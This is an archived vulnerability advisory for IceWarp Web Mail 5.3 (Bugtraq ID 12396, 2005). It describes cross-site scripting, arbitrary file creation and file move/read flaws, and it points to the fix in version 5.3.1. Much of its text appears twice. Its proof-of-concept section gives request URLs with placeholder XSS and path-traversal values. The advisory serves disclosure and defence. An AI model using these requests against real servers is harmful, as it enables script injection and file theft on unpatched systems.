IceWarp Web Mail Multiple Remote Vulnerabilities
BID:12396
Info
IceWarp Web Mail Multiple Remote Vulnerabilities
| Bugtraq ID: | 12396 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 28 2005 12:00AM |
| Updated: | Jan 28 2005 12:00AM |
| Credit: | ShineShadow <[email protected]> is credited with the disclosure of these issues. |
| Vulnerable: |
IceWarp Web Mail 5.3 |
| Not Vulnerable: |
IceWarp Web Mail 5.4 IceWarp Web Mail 5.3.2 IceWarp Web Mail 5.3.1 |
Discussion
IceWarp Web Mail Multiple Remote Vulnerabilities
Multiple remote vulnerabilities reportedly affect IceWarp Web Mail. The underlying issues are due to input and access validation errors.
Multiple cross-site scripting and HTML injection vulnerabilities affect the vulnerable software. The product is also vulnerable to a file creation with arbitrary data vulnerability. Finally it is possible for an authenticated attacker to move and read arbitrary files on an affected computer with the privileges of the affected application.
An attacker may leverage these issues to move arbitrary files with the privileges of the affected server, to carry out cross-site scripting and HTML injection attacks and to create a file with arbitrary content. These issues may lead to system wide denial of service as well as other attacks.
Multiple remote vulnerabilities reportedly affect IceWarp Web Mail. The underlying issues are due to input and access validation errors.
Multiple cross-site scripting and HTML injection vulnerabilities affect the vulnerable software. The product is also vulnerable to a file creation with arbitrary data vulnerability. Finally it is possible for an authenticated attacker to move and read arbitrary files on an affected computer with the privileges of the affected application.
An attacker may leverage these issues to move arbitrary files with the privileges of the affected server, to carry out cross-site scripting and HTML injection attacks and to create a file with arbitrary content. These issues may lead to system wide denial of service as well as other attacks.
Exploit / POC
IceWarp Web Mail Multiple Remote Vulnerabilities
No exploits are required to leverage these issues. The following proof of concepts have been provided:
To carry out cross-site scripting attacks:
http://www.example.com:32000/mail/login.html?username=[xss_here]
http://www.example.com/mail/accountsettings_add.html?id=[]&Save_x=1&account[EMAIL]=hacker&account[HOST]=blackhat.org&account[HOSTUSER]=hacker&account[HOSTPASS]=31337&account[HOSTPASS2]=31337&accountid=[xss_here]
To create a file with arbitrary contents on an affected computer:
http://www.example.com:32000/mail/accountsettings_add.html?id=[sessionid]&Save_x=1&account[EMAIL]=hacker&account[HOST]=blackhat.org&account[HOSTUSER]=hacker&account[HOSTPASS]=31337&account[HOSTPASS2]=31337&accontid=[arbitary_text]
To move an arbitrary file to an attacker's folder:
http://localhost:32000/importaction.html?id=[sessionid]&importfile=[arbitrary_path]&action=upload&Import=1&importfile_size=1000000
No exploits are required to leverage these issues. The following proof of concepts have been provided:
To carry out cross-site scripting attacks:
http://www.example.com:32000/mail/login.html?username=[xss_here]
http://www.example.com/mail/accountsettings_add.html?id=[]&Save_x=1&account[EMAIL]=hacker&account[HOST]=blackhat.org&account[HOSTUSER]=hacker&account[HOSTPASS]=31337&account[HOSTPASS2]=31337&accountid=[xss_here]
To create a file with arbitrary contents on an affected computer:
http://www.example.com:32000/mail/accountsettings_add.html?id=[sessionid]&Save_x=1&account[EMAIL]=hacker&account[HOST]=blackhat.org&account[HOSTUSER]=hacker&account[HOSTPASS]=31337&account[HOSTPASS2]=31337&accontid=[arbitary_text]
To move an arbitrary file to an attacker's folder:
http://localhost:32000/importaction.html?id=[sessionid]&importfile=[arbitrary_path]&action=upload&Import=1&importfile_size=1000000
Solution / Fix
IceWarp Web Mail Multiple Remote Vulnerabilities
Solution:
The vendor has reported that this vulnerability was addressed in IceWarp Web Mail 5.3.1 and in all subsequent versions.
IceWarp Web Mail 5.3
Solution:
The vendor has reported that this vulnerability was addressed in IceWarp Web Mail 5.3.1 and in all subsequent versions.
IceWarp Web Mail 5.3
-
IceWarp Web Mail 5.3.1
http://www.icewarp.com/downloads/webmail.html?PHPSESSID=363e38e9f350cc eda950cc146f67196f
References
IceWarp Web Mail Multiple Remote Vulnerabilities
References:
References:
- IceWarp Homepage (IceWarp)
- Multiple vulnerabilities in Icewarp Web Mail 5.3.0: New holes (ShineShadow